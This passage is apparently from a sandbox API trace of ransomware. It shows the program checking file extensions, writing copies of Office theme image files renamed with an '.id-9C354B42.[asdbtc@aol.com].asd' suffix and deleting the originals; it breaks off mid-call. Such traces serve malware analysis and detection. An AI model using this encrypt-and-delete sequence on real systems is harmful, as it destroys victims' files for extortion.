Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0055.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.892] lstrlenW (lpString=".doc") returned 4 [0055.892] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.892] lstrlenW (lpString=".docx") returned 5 [0055.892] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.892] lstrlenW (lpString=".pdf") returned 4 [0055.892] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.892] lstrlenW (lpString=".xls") returned 4 [0055.892] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.892] lstrlenW (lpString=".xlsx") returned 5 [0055.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.892] lstrlenW (lpString=".ppt") returned 4 [0055.892] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.892] lstrlenW (lpString=".zip") returned 4 [0055.892] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.893] lstrlenW (lpString=".rar") returned 4 [0055.893] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.893] lstrlenW (lpString=".bz2") returned 4 [0055.893] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.893] lstrlenW (lpString=".7z") returned 3 [0055.893] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.893] lstrlenW (lpString=".dbf") returned 4 [0055.893] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.893] lstrlenW (lpString=".1cd") returned 4 [0055.893] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.893] lstrlenW (lpString=".jpg") returned 4 [0055.893] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.893] lstrlenW (lpString=".doc") returned 4 [0055.893] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.893] lstrlenW (lpString=".docx") returned 5 [0055.893] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.893] lstrlenW (lpString=".pdf") returned 4 [0055.893] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.893] lstrlenW (lpString=".xls") returned 4 [0055.893] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.893] lstrlenW (lpString=".xlsx") returned 5 [0055.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.893] lstrlenW (lpString=".ppt") returned 4 [0055.893] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.893] lstrlenW (lpString=".zip") returned 4 [0055.893] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.894] lstrlenW (lpString=".rar") returned 4 [0055.894] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.894] lstrlenW (lpString=".bz2") returned 4 [0055.894] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.894] lstrlenW (lpString=".7z") returned 3 [0055.894] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.894] lstrlenW (lpString=".dbf") returned 4 [0055.894] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.894] lstrlenW (lpString=".1cd") returned 4 [0055.894] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.894] lstrlenW (lpString=".jpg") returned 4 [0055.894] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.894] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.894] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.898] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2209) returned 1 [0055.898] CloseHandle (hObject=0x1f4) returned 1 [0055.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0055.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.901] GetLastError () returned 0x0 [0055.901] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0055.905] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0055.906] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.906] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.906] SetEndOfFile (hFile=0x1e8) returned 1 [0055.906] CloseHandle (hObject=0x1e8) returned 1 [0055.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.907] SetEndOfFile (hFile=0x1f4) returned 1 [0055.907] CloseHandle (hObject=0x1f4) returned 1 [0055.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0055.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.908] lstrlenW (lpString=".doc") returned 4 [0055.908] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.908] lstrlenW (lpString=".docx") returned 5 [0055.908] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.908] lstrlenW (lpString=".pdf") returned 4 [0055.908] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.908] lstrlenW (lpString=".xls") returned 4 [0055.908] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.908] lstrlenW (lpString=".xlsx") returned 5 [0055.908] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.908] lstrlenW (lpString=".ppt") returned 4 [0055.908] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.908] lstrlenW (lpString=".zip") returned 4 [0055.908] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.909] lstrlenW (lpString=".rar") returned 4 [0055.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.909] lstrlenW (lpString=".bz2") returned 4 [0055.909] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.909] lstrlenW (lpString=".7z") returned 3 [0055.909] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.909] lstrlenW (lpString=".dbf") returned 4 [0055.909] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.909] lstrlenW (lpString=".1cd") returned 4 [0055.909] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.909] lstrlenW (lpString=".jpg") returned 4 [0055.909] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.909] lstrlenW (lpString=".doc") returned 4 [0055.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.909] lstrlenW (lpString=".docx") returned 5 [0055.909] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.909] lstrlenW (lpString=".pdf") returned 4 [0055.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.909] lstrlenW (lpString=".xls") returned 4 [0055.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.909] lstrlenW (lpString=".xlsx") returned 5 [0055.909] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.909] lstrlenW (lpString=".ppt") returned 4 [0055.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.909] lstrlenW (lpString=".zip") returned 4 [0055.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.910] lstrlenW (lpString=".rar") returned 4 [0055.910] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.910] lstrlenW (lpString=".bz2") returned 4 [0055.910] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.910] lstrlenW (lpString=".7z") returned 3 [0055.910] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.910] lstrlenW (lpString=".dbf") returned 4 [0055.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.910] lstrlenW (lpString=".1cd") returned 4 [0055.910] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0055.910] lstrlenW (lpString=".jpg") returned 4 [0055.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.910] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.910] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.911] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=21812) returned 1 [0055.911] CloseHandle (hObject=0x1f4) returned 1 [0055.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0055.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.911] GetLastError () returned 0x0 [0055.911] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x5534, lpOverlapped=0x0) returned 1 [0055.922] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0055.924] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.924] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.924] SetEndOfFile (hFile=0x1e8) returned 1 [0055.924] CloseHandle (hObject=0x1e8) returned 1 [0055.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.924] SetEndOfFile (hFile=0x1f4) returned 1 [0055.925] CloseHandle (hObject=0x1f4) returned 1 [0055.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.925] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0055.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.926] lstrlenW (lpString=".doc") returned 4 [0055.926] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.926] lstrlenW (lpString=".docx") returned 5 [0055.926] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.926] lstrlenW (lpString=".pdf") returned 4 [0055.926] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.926] lstrlenW (lpString=".xls") returned 4 [0055.926] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.926] lstrlenW (lpString=".xlsx") returned 5 [0055.926] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.926] lstrlenW (lpString=".ppt") returned 4 [0055.926] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.926] lstrlenW (lpString=".zip") returned 4 [0055.926] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.926] lstrlenW (lpString=".rar") returned 4 [0055.926] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.926] lstrlenW (lpString=".bz2") returned 4 [0055.926] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.926] lstrlenW (lpString=".7z") returned 3 [0055.926] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.926] lstrlenW (lpString=".dbf") returned 4 [0055.926] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.926] lstrlenW (lpString=".1cd") returned 4 [0055.926] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.926] lstrlenW (lpString=".jpg") returned 4 [0055.926] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.927] lstrlenW (lpString=".doc") returned 4 [0055.927] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.927] lstrlenW (lpString=".docx") returned 5 [0055.927] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.927] lstrlenW (lpString=".pdf") returned 4 [0055.927] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.927] lstrlenW (lpString=".xls") returned 4 [0055.927] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.927] lstrlenW (lpString=".xlsx") returned 5 [0055.927] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.927] lstrlenW (lpString=".ppt") returned 4 [0055.927] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.927] lstrlenW (lpString=".zip") returned 4 [0055.927] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.927] lstrlenW (lpString=".rar") returned 4 [0055.927] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.927] lstrlenW (lpString=".bz2") returned 4 [0055.927] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.927] lstrlenW (lpString=".7z") returned 3 [0055.927] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.927] lstrlenW (lpString=".dbf") returned 4 [0055.927] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.927] lstrlenW (lpString=".1cd") returned 4 [0055.927] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0055.927] lstrlenW (lpString=".jpg") returned 4 [0055.927] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.928] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.928] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.652] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=19525) returned 1 [0056.652] CloseHandle (hObject=0x218) returned 1 [0056.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0056.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.653] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.653] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.653] GetLastError () returned 0x0 [0056.653] ReadFile (in: hFile=0x218, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0056.657] WriteFile (in: hFile=0x220, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0056.659] ReadFile (in: hFile=0x218, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.659] WriteFile (in: hFile=0x220, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.659] SetEndOfFile (hFile=0x220) returned 1 [0056.659] CloseHandle (hObject=0x220) returned 1 [0056.659] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.659] SetEndOfFile (hFile=0x218) returned 1 [0056.660] CloseHandle (hObject=0x218) returned 1 [0056.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.661] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 